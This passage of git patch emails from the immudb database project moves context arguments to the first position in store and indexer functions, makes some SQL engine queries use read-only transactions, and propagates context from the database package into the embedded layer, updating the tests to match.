wHub.WaitFor(context.Background(), 5) require.NoError(t, err) wg.Add(1) go func() { defer wg.Done() - err := wHub.WaitFor(uint64(waitessCount)+1, context.Background()) + err := wHub.WaitFor(context.Background(), uint64(waitessCount)+1) if !errors.Is(err, ErrAlreadyClosed) { require.NoError(t, err) } @@ -116,7 +116,7 @@ func TestWatchersHub(t *testing.T) { t.FailNow() } - err = wHub.WaitFor(0, context.Background()) + err = wHub.WaitFor(context.Background(), 0) require.ErrorIs(t, err, ErrAlreadyClosed) err = wHub.DoneUpto(0) @@ -149,7 +149,7 @@ func TestSimultaneousCancellationAndNotification(t *testing.T) { doneUpTo, _, err := wHub.Status() require.NoError(t, err) - err = wHub.WaitFor(j, ctx) + err = wHub.WaitFor(ctx, j) if errors.Is(err, ErrCancellationRequested) { // Check internal invariant of the wHub // Since we got cancel request it must only happen From 008a0de72308d4c23c99f02903c90258567b97a4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 19:25:19 -0300 Subject: [PATCH 0141/1062] chore(embedded/store): set ctx as first argument Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 42 ++++++++++++++++---------------- embedded/store/immustore_test.go | 6 ++--- embedded/store/indexer.go | 6 ++--- embedded/store/indexer_test.go | 2 +- embedded/store/ongoing_tx.go | 8 +++--- 5 files changed, 32 insertions(+), 32 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 236dfdca7c..824e144186 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -573,7 +573,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable committedTxID := store.LastCommittedTxID() // passive wait for one new transaction at least - store.inmemPrecommitWHub.WaitFor(committedTxID+1, context.Background()) + store.inmemPrecommitWHub.WaitFor(context.Background(), committedTxID+1) // TODO: waiting on earlier stages of transaction processing may also be possible prevLatestPrecommitedTx := committedTxID + 1 @@ -764,20 +764,20 @@ func (s *ImmuStore) Snapshot() (*Snapshot, error) { // SnapshotMustIncludeTxID returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot may be used. -func (s *ImmuStore) SnapshotMustIncludeTxID(txID uint64, ctx context.Context) (*Snapshot, error) { - return s.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, 0, ctx) +func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, txID uint64) (*Snapshot, error) { + return s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, txID, 0) } // SnapshotMustIncludeTxIDWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration -func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(txID uint64, renewalPeriod time.Duration, ctx context.Context) (*Snapshot, error) { +func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { if txID > s.lastPrecommittedTxID() { return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) } - err := s.WaitForIndexingUpto(txID, ctx) + err := s.WaitForIndexingUpto(ctx, txID) if err != nil { return nil, err } @@ -885,9 +885,9 @@ func (s *ImmuStore) WaitForTx(txID uint64, allowPrecommitted bool, ctx context.C var err error if allowPrecommitted { - err = s.durablePrecommitWHub.WaitFor(txID, ctx) + err = s.durablePrecommitWHub.WaitFor(ctx, txID) } else { - err = s.commitWHub.WaitFor(txID, ctx) + err = s.commitWHub.WaitFor(ctx, txID) } if err == watchers.ErrAlreadyClosed { return ErrAlreadyClosed @@ -895,7 +895,7 @@ func (s *ImmuStore) WaitForTx(txID uint64, allowPrecommitted bool, ctx context.C return err } -func (s *ImmuStore) WaitForIndexingUpto(txID uint64, ctx context.Context) error { +func (s *ImmuStore) WaitForIndexingUpto(ctx context.Context, txID uint64) error { s.waiteesMutex.Lock() if s.waiteesCount == s.maxWaitees { @@ -913,7 +913,7 @@ func (s *ImmuStore) WaitForIndexingUpto(txID uint64, ctx context.Context) error s.waiteesMutex.Unlock() }() - return s.indexer.WaitForIndexingUpto(txID, ctx) + return s.indexer.WaitForIndexingUpto(ctx, txID) } func (s *ImmuStore) CompactIndex() error { @@ -1074,11 +1074,11 @@ func (s *ImmuStore) appendData(entries []*EntrySpec, donec chan<- appendableResu } func (s *ImmuStore) NewWriteOnlyTx(ctx context.Context) (*OngoingTx, error) { - return newOngoingTx(s, ctx, &TxOptions{Mode: WriteOnlyTx}) + return newOngoingTx(ctx, s, &TxOptions{Mode: WriteOnlyTx}) } func (s *ImmuStore) NewTx(ctx context.Context, opts *TxOptions) (*OngoingTx, error) { - return newOngoingTx(s, ctx, opts) + return newOngoingTx(ctx, s, opts) } func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForIndexing bool) (*TxHeader, error) { @@ -1089,7 +1089,7 @@ func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForInde // note: durability is ensured only if the store is in sync mode // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header - err = s.commitWHub.WaitFor(hdr.ID, context.Background()) + err = s.commitWHub.WaitFor(context.Background(), hdr.ID) if err == watchers.ErrAlreadyClosed { return hdr, ErrAlreadyClosed } @@ -1098,7 +1098,7 @@ func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForInde } if waitForIndexing { - err = s.WaitForIndexingUpto(hdr.ID, otx.Context()) + err = s.WaitForIndexingUpto(otx.Context(), hdr.ID) if err != nil { return hdr, err } @@ -1182,7 +1182,7 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) } // ensure tx is committed in the expected order - err = s.inmemPrecommitWHub.WaitFor(hdr.ID-1, otx.Context()) + err = s.inmemPrecommitWHub.WaitFor(otx.Context(), hdr.ID-1) if err == watchers.ErrAlreadyClosed { return nil, ErrAlreadyClosed } @@ -1241,7 +1241,7 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) if otx.hasPreconditions() { // Preconditions must be executed with up-to-date tree - err = s.WaitForIndexingUpto(currPrecomittedTxID, otx.Context()) + err = s.WaitForIndexingUpto(otx.Context(), currPrecomittedTxID) if err != nil { return nil, err } @@ -1616,7 +1616,7 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i // note: durability is ensured only if the store is in sync mode // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header - err = s.commitWHub.WaitFor(hdr.ID, context.Background()) + err = s.commitWHub.WaitFor(context.Background(), hdr.ID) if errors.Is(err, watchers.ErrAlreadyClosed) { return hdr, ErrAlreadyClosed } @@ -1625,7 +1625,7 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i } if waitForIndexing { - err = s.WaitForIndexingUpto(hdr.ID, ctx) + err = s.WaitForIndexingUpto(ctx, hdr.ID) if err != nil { return hdr, err } @@ -1703,7 +1703,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 s.indexer.Resume() // Preconditions must be executed with up-to-date tree - err = s.WaitForIndexingUpto(lastPreCommittedTxID, ctx) + err = s.WaitForIndexingUpto(ctx, lastPreCommittedTxID) if err != nil { return nil, err } @@ -2182,7 +2182,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI } // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header - err = s.durablePrecommitWHub.WaitFor(txHdr.ID, context.Background()) + err = s.durablePrecommitWHub.WaitFor(context.Background(), txHdr.ID) if err == watchers.ErrAlreadyClosed { return txHdr, ErrAlreadyClosed } @@ -2192,7 +2192,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI if !s.useExternalCommitAllowance { // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header - err = s.commitWHub.WaitFor(txHdr.ID, context.Background()) + err = s.commitWHub.WaitFor(context.Background(), txHdr.ID) if err == watchers.ErrAlreadyClosed { return txHdr, ErrAlreadyClosed } @@ -2201,7 +2201,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI } if waitForIndexing { - err = s.WaitForIndexingUpto(txHdr.ID, txSpec.Context()) + err = s.WaitForIndexingUpto(txSpec.Context(), txHdr.ID) if err != nil { return txHdr, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 74ec96bfde..bce4ea6c17 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -906,7 +906,7 @@ func TestImmudbStoreIndexing(t *testing.T) { for { txID, _ := immuStore.CommittedAlh() - snap, err := immuStore.SnapshotMustIncludeTxID(txID, context.Background()) + snap, err := immuStore.SnapshotMustIncludeTxID(context.Background(), txID) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { @@ -1873,7 +1873,7 @@ func TestLeavesMatchesAHTSync(t *testing.T) { err = immuStore.WaitForTx(txhdr.ID, false, context.Background()) require.NoError(t, err) - err = immuStore.WaitForIndexingUpto(txhdr.ID, context.Background()) + err = immuStore.WaitForIndexingUpto(context.Background(), txhdr.ID) require.NoError(t, err) var k0 [8]byte @@ -3078,7 +3078,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { immuStore, err = Open(dir, DefaultOptions()) require.NoError(t, err) - err = immuStore.WaitForIndexingUpto(hdr1.ID, context.Background()) + err = immuStore.WaitForIndexingUpto(context.Background(), hdr1.ID) require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 5e10c09efb..126d0fb7af 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -254,9 +254,9 @@ func (idx *indexer) Close() error { return idx.index.Close() } -func (idx *indexer) WaitForIndexingUpto(txID uint64, ctx context.Context) error { +func (idx *indexer) WaitForIndexingUpto(ctx context.Context, txID uint64) error { if idx.wHub != nil { - err := idx.wHub.WaitFor(txID, ctx) + err := idx.wHub.WaitFor(ctx, txID) if err == watchers.ErrAlreadyClosed { return ErrAlreadyClosed } @@ -381,7 +381,7 @@ func (idx *indexer) doIndexing() { idx.wHub.DoneUpto(lastIndexedTx) } - err := idx.store.commitWHub.WaitFor(lastIndexedTx+1, idx.ctx) + err := idx.store.commitWHub.WaitFor(idx.ctx, lastIndexedTx+1) if err == watchers.ErrCancellationRequested || err == watchers.ErrAlreadyClosed { return } diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 44cf221680..01047875c3 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -86,7 +86,7 @@ func TestMaxIndexWaitees(t *testing.T) { errCh := make(chan error) for i := 0; i < 2; i++ { go func() { - errCh <- store.WaitForIndexingUpto(1, context.Background()) + errCh <- store.WaitForIndexingUpto(context.Background(), 1) }() } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index f9c498d2de..97a5e5d0fc 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -28,10 +28,10 @@ import ( // OngoingTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW. // The snapshot may be locally modified but isolated from other transactions type OngoingTx struct { - st *ImmuStore - ctx context.Context + st *ImmuStore + snap *Snapshot readOnly bool // MVCC validations are not needed for read-only transactions @@ -73,7 +73,7 @@ type EntrySpec struct { Value []byte } -func newOngoingTx(s *ImmuStore, ctx context.Context, opts *TxOptions) (*OngoingTx, error) { +func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { err := opts.Validate() if err != nil { return nil, err @@ -98,7 +98,7 @@ func newOngoingTx(s *ImmuStore, ctx context.Context, opts *TxOptions) (*OngoingT snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID(s.lastPrecommittedTxID()) } - snap, err := s.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, opts.SnapshotRenewalPeriod, ctx) + snap, err := s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, snapshotMustIncludeTxID, opts.SnapshotRenewalPeriod) if err != nil { return nil, err } From 45343bf698b7053ce8dded20b51f330eeb5d10e3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 23:24:24 -0300 Subject: [PATCH 0142/1062] chore(embedded/store): set ctx as first argument Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 2 +- embedded/store/immustore_test.go | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 824e144186..4b4f27563b 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -864,7 +864,7 @@ func (s *ImmuStore) syncBinaryLinking() error { return nil } -func (s *ImmuStore) WaitForTx(txID uint64, allowPrecommitted bool, ctx context.Context) error { +func (s *ImmuStore) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { s.waiteesMutex.Lock() if s.waiteesCount == s.maxWaitees { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index bce4ea6c17..f264ee9e68 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1870,7 +1870,7 @@ func TestLeavesMatchesAHTSync(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) - err = immuStore.WaitForTx(txhdr.ID, false, context.Background()) + err = immuStore.WaitForTx(context.Background(), txhdr.ID, false) require.NoError(t, err) err = immuStore.WaitForIndexingUpto(context.Background(), txhdr.ID) @@ -2586,7 +2586,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { return } - err = replicaStore.WaitForTx(uint64(txCount), false, context.Background()) + err = replicaStore.WaitForTx(context.Background(), uint64(txCount), false) require.NoError(t, err) } @@ -3392,7 +3392,7 @@ func TestImmudbStoreExternalCommitAllowance(t *testing.T) { }() } - err = immuStore.WaitForTx(uint64(txCount), true, context.Background()) + err = immuStore.WaitForTx(context.Background(), uint64(txCount), true) require.NoError(t, err) go func() { @@ -3450,7 +3450,7 @@ func TestImmudbStorePrecommittedTxLoading(t *testing.T) { }() } - err = immuStore.WaitForTx(uint64(txCount), true, context.Background()) + err = immuStore.WaitForTx(context.Background(), uint64(txCount), true) require.NoError(t, err) err = immuStore.Close() @@ -3462,7 +3462,7 @@ func TestImmudbStorePrecommittedTxLoading(t *testing.T) { err = immuStore.AllowCommitUpto(uint64(txCount)) require.NoError(t, err) - err = immuStore.WaitForTx(uint64(txCount), false, context.Background()) + err = immuStore.WaitForTx(context.Background(), uint64(txCount), false) require.NoError(t, err) err = immuStore.Close() @@ -3510,7 +3510,7 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { }() } - err = immuStore.WaitForTx(uint64(txCount), true, context.Background()) + err = immuStore.WaitForTx(context.Background(), uint64(txCount), true) require.NoError(t, err) err = immuStore.Close() @@ -3530,7 +3530,7 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) require.Zero(t, n) - err = immuStore.WaitForTx(uint64(txCount/2), false, context.Background()) + err = immuStore.WaitForTx(context.Background(), uint64(txCount/2), false) require.NoError(t, err) // discard all expect one precommitted tx From 526585060b61109f252c755c12ec9b2dba09ba15 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 23:57:59 -0300 Subject: [PATCH 0143/1062] chore(embedded/sql): use read-only txs whenever possible Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 10 +++++----- embedded/sql/sql_tx.go | 4 ++++ 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index c1a3e99201..052034a035 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -147,7 +147,7 @@ func (e *Engine) SetMultiDBHandler(handler MultiDBHandler) { } func (e *Engine) SetCurrentDatabase(dbName string) error { - tx, err := e.NewTx(context.Background(), DefaultTxOptions()) + tx, err := e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) if err != nil { return err } @@ -391,7 +391,7 @@ func (e *Engine) QueryPreparedStmt(stmt DataSource, params map[string]interface{ qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background(), DefaultTxOptions()) + qtx, err = e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -430,14 +430,14 @@ func (e *Engine) Catalog(tx *SQLTx) (catalog *Catalog, err error) { qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background(), DefaultTxOptions()) + qtx, err = e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer qtx.Cancel() } - return qtx.catalog, nil + return qtx.Catalog(), nil } func (e *Engine) InferParameters(sql string, tx *SQLTx) (params map[string]SQLValueType, err error) { @@ -457,7 +457,7 @@ func (e *Engine) InferParametersPreparedStmts(stmts []SQLStmt, tx *SQLTx) (param qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background(), DefaultTxOptions()) + qtx, err = e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 2fcb2a48c1..35e767e0b7 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -51,6 +51,10 @@ func (sqlTx *SQLTx) Context() context.Context { return sqlTx.tx.Context() } +func (sqlTx *SQLTx) Catalog() *Catalog { + return sqlTx.catalog +} + func (sqlTx *SQLTx) useDatabase(dbName string) error { db, err := sqlTx.catalog.GetDatabaseByName(dbName) if err != nil { From e146e3d6a2540bcf0c1a70411b9a49a33f934875 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 23:59:11 -0300 Subject: [PATCH 0144/1062] chore(pkg/database): context propagation from server to embedded layer Signed-off-by: Jeronimo Irazabal --- pkg/database/all_ops.go | 7 +- pkg/database/all_ops_test.go | 123 +++++++-------- pkg/database/database.go | 116 +++++++------- pkg/database/database_test.go | 260 ++++++++++++++++---------------- pkg/database/reference.go | 11 +- pkg/database/reference_test.go | 111 +++++++------- pkg/database/replica_test.go | 13 +- pkg/database/scan.go | 5 +- pkg/database/scan_test.go | 53 +++---- pkg/database/sorted_set.go | 15 +- pkg/database/sorted_set_test.go | 169 ++++++++++----------- pkg/database/sql.go | 7 +- pkg/database/sql_test.go | 21 +-- 13 files changed, 461 insertions(+), 450 deletions(-) diff --git a/pkg/database/all_ops.go b/pkg/database/all_ops.go index 8cb90883ad..f8965ca7a0 100644 --- a/pkg/database/all_ops.go +++ b/pkg/database/all_ops.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "crypto/sha256" "fmt" @@ -27,7 +28,7 @@ import ( // ExecAll like Set it permits many insertions at once. // The difference is that is possible to to specify a list of a mix of key value set and zAdd insertions. // If zAdd reference is not yet present on disk it's possible to add it as a regular key value and the reference is done onFly -func (d *db) ExecAll(req *schema.ExecAllRequest) (*schema.TxHeader, error) { +func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) { if req == nil { return nil, store.ErrIllegalArguments } @@ -45,7 +46,7 @@ func (d *db) ExecAll(req *schema.ExecAllRequest) (*schema.TxHeader, error) { if !req.NoWait { lastTxID, _ := d.st.CommittedAlh() - err := d.st.WaitForIndexingUpto(lastTxID, nil) + err := d.st.WaitForIndexingUpto(ctx, lastTxID) if err != nil { return nil, err } @@ -204,7 +205,7 @@ func (d *db) ExecAll(req *schema.ExecAllRequest) (*schema.TxHeader, error) { return entries, preconditions, nil } - hdr, err := d.st.CommitWith(callback, !req.NoWait) + hdr, err := d.st.CommitWith(ctx, callback, !req.NoWait) if err != nil { return nil, err } diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index 29230672fb..c796f81963 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "errors" "fmt" "math/rand" @@ -53,11 +54,11 @@ func compactIndex(db DB, timeout time.Duration) error { } } -func execAll(db DB, req *schema.ExecAllRequest, timeout time.Duration) error { +func execAll(db DB, ctx context.Context, req *schema.ExecAllRequest, timeout time.Duration) error { done := make(chan error) go func(done chan<- error) { - _, err := db.ExecAll(req) + _, err := db.ExecAll(ctx, req) done <- err }(done) @@ -123,7 +124,7 @@ func TestConcurrentCompactIndex(t *testing.T) { } } - err := execAll(db, &schema.ExecAllRequest{Operations: kvs}, execAllTimeout) + err := execAll(db, context.Background(), &schema.ExecAllRequest{Operations: kvs}, execAllTimeout) require.NoError(t, err) } @@ -150,19 +151,19 @@ func TestSetBatch(t *testing.T) { } } - txhdr, err := db.Set(&schema.SetRequest{KVs: kvList}) + txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvList}) require.NoError(t, err) require.Equal(t, uint64(b+2), txhdr.Id) for i := 0; i < batchSize; i++ { key := []byte(strconv.FormatUint(uint64(i), 10)) value := []byte(strconv.FormatUint(uint64(b*batchSize+batchSize+i), 10)) - entry, err := db.Get(&schema.KeyRequest{Key: key, SinceTx: txhdr.Id}) + entry, err := db.Get(context.Background(), &schema.KeyRequest{Key: key, SinceTx: txhdr.Id}) require.NoError(t, err) require.Equal(t, value, entry.Value) require.Equal(t, uint64(b+2), entry.Tx) - vitem, err := db.VerifiableGet(&schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: key}}) //no prev root + vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: key}}) //no prev root require.NoError(t, err) require.Equal(t, key, vitem.Entry.Key) require.Equal(t, value, vitem.Entry.Value) @@ -190,7 +191,7 @@ func TestSetBatch(t *testing.T) { func TestSetBatchInvalidKvKey(t *testing.T) { db := makeDb(t) - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte{}, @@ -203,7 +204,7 @@ func TestSetBatchInvalidKvKey(t *testing.T) { func TestSetBatchDuplicatedKey(t *testing.T) { db := makeDb(t) - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte(`key`), @@ -221,16 +222,16 @@ func TestSetBatchDuplicatedKey(t *testing.T) { func TestExecAllOps(t *testing.T) { db := makeDb(t) - _, err := db.ExecAll(nil) + _, err := db.ExecAll(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) - _, err = db.ExecAll(&schema.ExecAllRequest{}) + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{}) require.Error(t, err) - _, err = db.ExecAll(&schema.ExecAllRequest{Operations: []*schema.Op{}}) + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: []*schema.Op{}}) require.Error(t, err) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ nil, }, @@ -269,7 +270,7 @@ func TestExecAllOps(t *testing.T) { } } - idx, err := db.ExecAll(&schema.ExecAllRequest{Operations: atomicOps}) + idx, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: atomicOps}) require.NoError(t, err) require.Equal(t, uint64(b+2), idx.Id) } @@ -277,7 +278,7 @@ func TestExecAllOps(t *testing.T) { zScanOpt := &schema.ZScanRequest{ Set: []byte(`mySet`), } - zList, err := db.ZScan(zScanOpt) + zList, err := db.ZScan(context.Background(), zScanOpt) require.ErrorIs(t, err, ErrResultSizeLimitReached) println(len(zList.Entries)) require.Len(t, zList.Entries, batchCount*batchSize) @@ -286,7 +287,7 @@ func TestExecAllOps(t *testing.T) { func TestExecAllOpsZAddOnMixedAlreadyPersitedNotPersistedItems(t *testing.T) { db := makeDb(t) - idx, _ := db.Set(&schema.SetRequest{ + idx, _ := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte(`persistedKey`), @@ -329,11 +330,11 @@ func TestExecAllOpsZAddOnMixedAlreadyPersitedNotPersistedItems(t *testing.T) { }, } - index, err := db.ExecAll(aOps) + index, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) require.Equal(t, uint64(3), index.Id) - list, err := db.ZScan(&schema.ZScanRequest{ + list, err := db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte(`mySet`), SinceTx: index.Id, }) @@ -348,7 +349,7 @@ func TestExecAllOpsEmptyList(t *testing.T) { aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{}, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.Equal(t, schema.ErrEmptySet, err) } @@ -367,7 +368,7 @@ func TestExecAllOpsInvalidKvKey(t *testing.T) { }, }, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.Equal(t, store.ErrIllegalArguments, err) aOps = &schema.ExecAllRequest{ @@ -392,7 +393,7 @@ func TestExecAllOpsInvalidKvKey(t *testing.T) { }, }, } - _, err = db.ExecAll(aOps) + _, err = db.ExecAll(context.Background(), aOps) require.Equal(t, store.ErrIllegalArguments, err) aOps = &schema.ExecAllRequest{ @@ -416,7 +417,7 @@ func TestExecAllOpsInvalidKvKey(t *testing.T) { }, }, } - _, err = db.ExecAll(aOps) + _, err = db.ExecAll(context.Background(), aOps) require.NoError(t, err) // Ops payload @@ -433,7 +434,7 @@ func TestExecAllOpsInvalidKvKey(t *testing.T) { }, }, } - _, err = db.ExecAll(aOps) + _, err = db.ExecAll(context.Background(), aOps) require.Equal(t, ErrReferencedKeyCannotBeAReference, err) } @@ -455,7 +456,7 @@ func TestExecAllOpsZAddKeyNotFound(t *testing.T) { }, }, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.Equal(t, store.ErrTxNotFound, err) } @@ -473,7 +474,7 @@ func TestExecAllOpsNilElementFound(t *testing.T) { }, } - _, err := db.ExecAll(&schema.ExecAllRequest{Operations: bOps}) + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: bOps}) require.Equal(t, store.ErrIllegalArguments, err) } @@ -487,7 +488,7 @@ func TestSetOperationNilElementFound(t *testing.T) { }, }, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.Error(t, err) } @@ -501,7 +502,7 @@ func TestExecAllOpsUnexpectedType(t *testing.T) { }, }, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.Error(t, err) } @@ -537,7 +538,7 @@ func TestExecAllOpsDuplicatedKey(t *testing.T) { }, }, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, schema.ErrDuplicatedKeysNotSupported) } @@ -573,7 +574,7 @@ func TestExecAllOpsDuplicatedKeyZAdd(t *testing.T) { }, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.Equal(t, schema.ErrDuplicatedZAddNotSupported, err) } @@ -619,7 +620,7 @@ func TestStore_ExecAllOpsConcurrent(t *testing.T) { } go func() { - idx, err := db.ExecAll(aOps) + idx, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) require.NotNil(t, idx) wg.Done() @@ -636,7 +637,7 @@ func TestStore_ExecAllOpsConcurrent(t *testing.T) { for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) - zList, err := db.ZScan(&schema.ZScanRequest{ + zList, err := db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte(set), SinceTx: 11, }) @@ -664,7 +665,7 @@ func TestExecAllNoWait(t *testing.T) { }, NoWait: true, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrIllegalArguments) require.ErrorIs(t, err, ErrNoWaitOperationMustBeSelfContained) }) @@ -686,25 +687,25 @@ func TestExecAllNoWait(t *testing.T) { }, NoWait: true, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrIllegalArguments) require.ErrorIs(t, err, ErrNoWaitOperationMustBeSelfContained) }) t.Run("ExecAll with NoWait consistent key switching from key into reference", func(t *testing.T) { - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ {Key: []byte("key"), Value: []byte("value")}, }, }) require.NoError(t, err) - _, err = db.SetReference(&schema.ReferenceRequest{ + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("ref"), ReferencedKey: []byte("key"), }) require.NoError(t, err) - _, err = db.ZAdd(&schema.ZAddRequest{ + _, err = db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte("set"), Key: []byte("key"), }) @@ -732,10 +733,10 @@ func TestExecAllNoWait(t *testing.T) { }, NoWait: true, } - hdr, err := db.ExecAll(aOps) + hdr, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) - entry, err := db.Get(&schema.KeyRequest{Key: []byte("key"), SinceTx: hdr.Id}) + entry, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("key"), SinceTx: hdr.Id}) require.NoError(t, err) require.NotNil(t, entry) require.Equal(t, []byte(`key1`), entry.Key) @@ -745,11 +746,11 @@ func TestExecAllNoWait(t 